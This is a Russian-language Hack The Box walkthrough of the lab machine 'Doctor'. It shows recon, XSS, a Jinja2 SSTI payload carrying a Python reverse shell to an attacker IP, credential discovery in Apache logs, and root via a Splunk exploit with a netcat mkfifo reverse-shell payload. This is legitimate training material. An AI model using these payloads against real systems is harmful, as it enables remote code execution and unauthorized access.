Hack The Box. Прохождение Doctor. SSTI to RCE. LPE через Splunkd

a566ce5563cecb160b45930b55ed0135.png

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

— PWN;

— криптография (Crypto);

— cетевые технологии (Network);

— реверс (Reverse Engineering);

— стеганография (Stegano);

— поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,  анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.

10.10.10.209    doctor.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
c0c16afab2472bf5d5a3e06abe262ed3.png6f68e05e8a66e2966307ecd0ff1f386a.png

 И заходя на сайт обнаружим еще одно доменное имя.

e059e57ccc0d2e0345c55a5f06b92cfd.png

 Добавим его в /etc/hosts.

10.10.10.209    doctors.htb

И на найденном сайте нас уже встречает форма авторизации, это уже интереснее.

ab9f5611a05580a53f3d473b34b325ff.png

 Entry Point

Давайте зарегистрируемся.

f87bf05cf009ca49b596da290394f792.png

 Просматривая сайт, находим интересную ссылку.

0be06ac922edaceb053b56ac9446ae19.png

 Но там ничего интересного нет.

e46a2e79d577e3bf70ddb1f621fd0c65.png

 Посидев с формой отправки сообщений, отмечаем, что главная страница не уязвима к XSS.

6ac7441573cb28404695a55a946ddb54.png

 А еще понимаем, что попадает в архив.

7f6edfc51d6a08221d1f4bfe6d69ccbe.png

 Вот только символы не экранированы, а код не выполнился из за наличия . Давайте отправим нагрузку, в которой данные теги будут закрываться.</p><img src="https://habrastorage.org/getpro/habr/upload_files/4f8/c66/fc7/4f8c66fc7cef9d885e6d1a701546b62a.png" alt="4f8c66fc7cef9d885e6d1a701546b62a.png" /><p> И когда мы перейдем в архив, нас встретит ожидаемое окошко алерта.</p><img src="https://habrastorage.org/getpro/habr/upload_files/95b/981/46a/95b98146a209d92fd0f69c199b46879e.png" alt="95b98146a209d92fd0f69c199b46879e.png" /><img src="https://habrastorage.org/getpro/habr/upload_files/3b5/d03/9d2/3b5d039d2e9b4fcb0a7c863e0923cd25.png" alt="3b5d039d2e9b4fcb0a7c863e0923cd25.png" /><p> Так как есть XSS, давайте проверим шаблонизатор, возможно удастся добиться SSTI. Есть интересная схема определения шаблонизатора.</p><img src="https://habrastorage.org/getpro/habr/upload_files/9a7/705/44a/9a770544a0cc2d9ccb460ea25666b6e8.png" alt="9a770544a0cc2d9ccb460ea25666b6e8.png" /><p> Проверяем: </p><pre><code>{{77}}3f365189b4ba210938bed4c886bf5342.png

{{7'7'}}
5bad17ea78349cb8fd88305c2d528e24.png
{{config.items()}}
c8a3fb8462bb2a0af9f31ec6d8879030.png

 И находим уязвимость. Наличие SSTI позволяет нам выполнить свой код, для чего мы будем использовать следующий шаблон:

{% for x in ().class.base.subclasses() %}
{% if "warning" in x.name %}
{{x().module.builtins'import'.popen("").read().zfill(417)}}
{%endif%}{% endfor %}

 Давайте выполним следующий реверс шелл:

import socket,subprocess,os;
s=socket.socket(socket.AFINET,socket.SOCKSTREAM);
s.connect(("10.10.14.27",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash", "-i"]);

 Запустим листенер. Полная нагрузка будет такой:

{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect((\"10.10.14.27\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
2f12db71555bbeae0bd7aa36a373b173.png

 USER

Так мы состоим в группе adm, что дает нам право читать логи. Поищем в логах Apache слова pas, secret и т.п.

f06ff4c458e34379b78acb8568dd2139.png

 И мы находим интересную строку, которая является паролем пользователя.

4c8a4c9d5f8235b71a722708bdcf0d00.png

 Теперь, когда у нас есть учетные данные, давайте попробуем повысить привилегии, с помощью эксплуатации службы Splunk, работающей на 8089 порте. Будем использовать этот эксплоит (https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2).

python3 PySplunkWhisperer2_remote.py --lhost 10.10.14.27 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/r.r;mkfifo /tmp/r.r;cat /tmp/r.r|/bin/sh -i 2>&1|nc 10.10.14.27 5432 >/tmp/r.r"'
60215b79eae69782e69636fc68beb570.png

 И получаем бэкконнект на свой листенер.

627beb533f5716eeecb40d55629695dc.png

© Habrahabr.ru